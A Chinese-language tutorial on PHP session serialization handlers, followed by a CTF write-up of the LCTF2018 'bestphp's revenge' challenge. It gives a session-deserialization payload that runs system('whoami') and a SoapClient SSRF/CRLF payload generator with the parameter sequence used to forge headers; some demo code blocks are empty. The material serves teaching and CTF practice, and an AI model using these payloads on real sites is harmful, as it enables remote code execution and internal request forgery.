有关session的基础知识
先来了解一下关于session
的一些基础知识
什么是session?
在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
session是如何起作用的?
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
除此之外,还需要知道session_start()
这个函数已经这个函数所起的作用:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
PHPSession序列化机制
先了解一下php.ini中的一些Session配置
session.save_path=”” –设置session的存储路径
session.save_handler=””–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
Linux上搭建的话,常见的php-session
存放位置:
/var/lib/php5/sess_PHPSESSID、/var/lib/php7/sess_PHPSESSID、/var/lib/php/sess_PHPSESSID、/tmp/sess_PHPSESSID、/tmp/sessions/sess_PHPSESSED
根据php.ini
中的配置项,将$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中,使用的三种不同的处理格式,即session.serialize_handler
定义的三种引擎:
处理器 | 存储格式 | 例子 |
---|---|---|
php_serialize | 经过serialize()函数反序列后的数组 | a:1:{s:8:”sesssion”;s:3:”hhh”;} |
php | 键名+` | `+经过serialize()函数反序列后的值 |
php_binary | 键名的长度对应的ASCII字符+键名+经过serialize()反序列后的值 | 不可见字符+sesssions:3:”hhh”; |
漏洞利用演示
ps.php文件:
|
p.php文件:
|
poc.php
|
- 运行poc.php得到payload:O:1:”A”:1:{s:4:”name”;s:17:”system(‘whoami’);”;}
- 访问ps.php,**ps.php?ses=|O:1:”A”:1:{s:4:”name”;s:17:”system(‘whoami’);”;}**。
- 访问p.php。
可以看到执行了payload中的system('whoami')
函数,漏洞利用成功。
在访问ps.php后会生成一个PHPSESSID文件,使用php_serialize处理器来存储的session数据,其内容为:**a:1:{s:8:”sesssion”;s:49:”|O:1:”A”:1:{s:4:”name”;s:17:”system(‘whoami’);”;}**。而当我们再去访问p.php时,session_start()
找到的文件依然是之前的PHPSESSID文件,php处理器在处理里面的session数据时,将|
前面的内容当作键名,|
后面的内容当作之前序列化的值。故而会对payload进行反序列化,进而触发__wakeup方法,来执行任意代码。
例题-bestphp’s revenge
先学习两个函数:
call_user_func
函数用于调用一个可调用的函数或方法。调用函数,第一个参数为字符串(函数名),第二个参数为回调函数的参数;调用方法,只用到第一个参数是一个数组,数组中依次为类名、方法名。extract
函数用于从数组中导入变量到当前的符号表,即将数组的键作为变量名,数组的值作为变量的值。
源码如下:

扫描目录,有一个flag.php文件,由该文件得知只有127.0.0.1请求该页面才能得到flag,所以这明显是考察SSRF漏洞。
大致思路:利用原生类SoapClient中的__call
方法进行SSRF和CRLF注入,来伪造任意header。但是这道题没有反序列化函数,这时候便要利用PHPSession反序列化漏洞来触发SoapClient类的__call方法了。
PHPSession反序列化,构造SoapClient类及其中的任意header。
$location = "http://127.0.0.1/flag.php";
$agent = "npfs\r\nCookie: PHPSESSID=579999\r\n";
$uri = "http://127.0.0.1/";
$a = new SoapClient(null,array('location'=>$location, 'user_agent'=>$agent, 'uri'=>$uri));
echo "|".urlencode(serialize($a)); #防止过滤使用url编码伪造session需要第一次以php_serialize处理器来存储session数据,而默认的处理器是php所以该怎么办呢?PHP7中的session_start()函数可以接收一个数组作为参数,然后覆盖php.ini中的session的配置项。
也就是说执行我们让源码执行
session_stsrt(array('serialize_handler'=>'php_serialize'))
即可,但是怎么能执行呢?利用call_user_func()和extract()这两个函数就行了。GET参数f传入
session_start
、name传入poc,POST传入serialize_handler=php_serialize
。访问SoapClient类中不存在的方法,进而触发__call方法。
GET参数f传入
extract
、name传入SoapClient
,POST传入b=call_user_func
。写一下代码运行大致过程:
call_user_func($_GET['f'], $_POST);
变成call_user_func('extract','b=call_user_func')
,得到$b=call_user_func
;$_SESSION['name']=$_GET['name']=SoapClient
,又因为$a=array(reset($_SESSION), 'welcome_to_the_lctf2018');
得$a=array('SoapClient','welcome_to_the_lctf2018')
,最后call_user_func($b,$a)
触发__call方法。访问index.php,bp抓包修改PHSESSID值为579999(前面伪造的header中的PHPSESSID值),即可得到flag。
参考文章
https://xz.aliyun.com/news/6962